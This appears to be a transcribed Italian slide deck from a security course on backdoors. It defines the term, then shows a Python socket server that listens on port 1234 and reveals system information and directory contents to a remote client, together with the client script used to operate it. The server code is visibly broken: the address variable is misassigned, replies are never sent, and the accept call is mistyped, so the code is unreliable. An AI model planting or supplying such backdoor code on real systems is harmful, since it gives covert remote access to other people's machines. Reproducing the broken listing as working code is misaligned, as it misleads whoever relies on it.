

A decorative graphic on the left side of the slide. It consists of a blue parallelogram and a light green parallelogram, both tilted at an angle. The blue shape is in the foreground, and the green shape is partially behind it. They are set against a dark blue background with faint, lighter blue diagonal stripes.

# Backdoors



# Cos'è una backdoor

Una "backdoor" (porta sul retro, in italiano) è un termine informatico che si riferisce a una vulnerabilità intenzionale o a un meccanismo nascosto in un sistema software o hardware che consente l'accesso non autorizzato o il controllo del sistema da parte di utenti non autorizzati. In pratica, una backdoor è un modo segreto per bypassare le normali procedure di autenticazione o sicurezza di un sistema.

Le backdoor possono essere create a scopo legittimo, ad esempio per consentire l'accesso remoto a scopo di manutenzione o monitoraggio da parte degli sviluppatori o degli amministratori di sistema. Tuttavia, se una backdoor viene sfruttata da persone non autorizzate o se è presente senza il consenso degli utenti, può rappresentare una minaccia alla sicurezza e alla privacy.

Le backdoor possono essere implementate in vari modi, come codice nascosto in un'applicazione, una porta di accesso nascosta o una funzionalità di controllo remoto non documentata. Il rilevamento e la gestione delle backdoor sono importanti nel contesto della sicurezza informatica, poiché possono essere sfruttate da attaccanti malevoli per compromettere la sicurezza di un sistema.

# Codice 1

Il primo codice è una backdoor, crea un server socket che ascolta sulla porta 1234.

Quando un client si connette al server, il server accetta la connessione e stampa l'indirizzo del client. Successivamente, il server entra in un ciclo infinito in cui riceve i dati dal client.

Se il client invia il messaggio "1", il server risponde con una stringa che contiene il nome della piattaforma e la macchina su cui viene eseguito il codice. Se il client invia il messaggio "2", il server riceve un percorso di directory dal client e restituisce una stringa che contiene i nomi dei file nella directory specificata. Se il percorso non è valido, il server restituisce la stringa "wrong path"

```
damnantrace@kali: ~/Desktop/EserciziPython
GNU nano 7.2      backdoor.py
import socket, platform, os

SRV_PORT "192.168.32.100"
SRV_PORT = 1234

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print("client connected: ", address)

while True:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8')== '1'):
        tosend = platform.platform()+" "+platform.machine()
    elif(data.decode('utf-8')== '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend+= "," + x
        except:
            tosend = "wrong path"
        connection.close()
        connection.address = s.accept()
```

^G Help ^O Write Out ^W Where Is ^K Cut ^T Execute  
^X Exit ^R Read File ^\ Replace ^U Paste ^J Justify

# Codice 2

Il secondo codice è il client da utilizzare per accedere alla backdoor della slide precedente.

Questo script prende in input indirizzo IP e porta del server a cui si vuole connettere, avvia la connessione e chiede all'utente cosa vuole fare:

- 0) per chiudere il programma e la connessione
- 1) ottenere le informazioni di sistema del server
- 2) restituire il contenuto di una directory del server inserita dall'utente

```
damnantrace@kali: ~/Desktop/EserciziPython
GNU nano 7.2 client_backdoor.py
import socket

SVR_ADDR = input("type the server ip address: ")
SVR_PORT = int(input("type the server port: "))

def print_menu():
    print("""\n\n0) Close the connection
1) Get system info
2) List directory contents""")

my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SVR_ADDR, SVR_PORT))

print("Connection established")
print_menu()

while True:
    message = input("\n-Select an option: ")

    if(message == "0"):
        my_sock.sendall(message.encode())
        my_sock.close()
        break

    elif(message == "1"):
        my_sock.sendall(message.encode())
        data = my_sock.recv(1024)
        if not data:
            break
        print(data.decode('utf-8'))

    elif(message == "2"):
        path = input("insert the path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data=my_sock.recv(1024)
        data=data.decode('utf-8').split(",")
        print(""*4)
        for x in data:
            print(x)
        print(""*40)
```

^G Help    ^O Write Out    ^W Where Is    ^K Cut    ^T Execute  
^X Exit    ^R Read File    ^\ Replace    ^U Paste    ^J Justify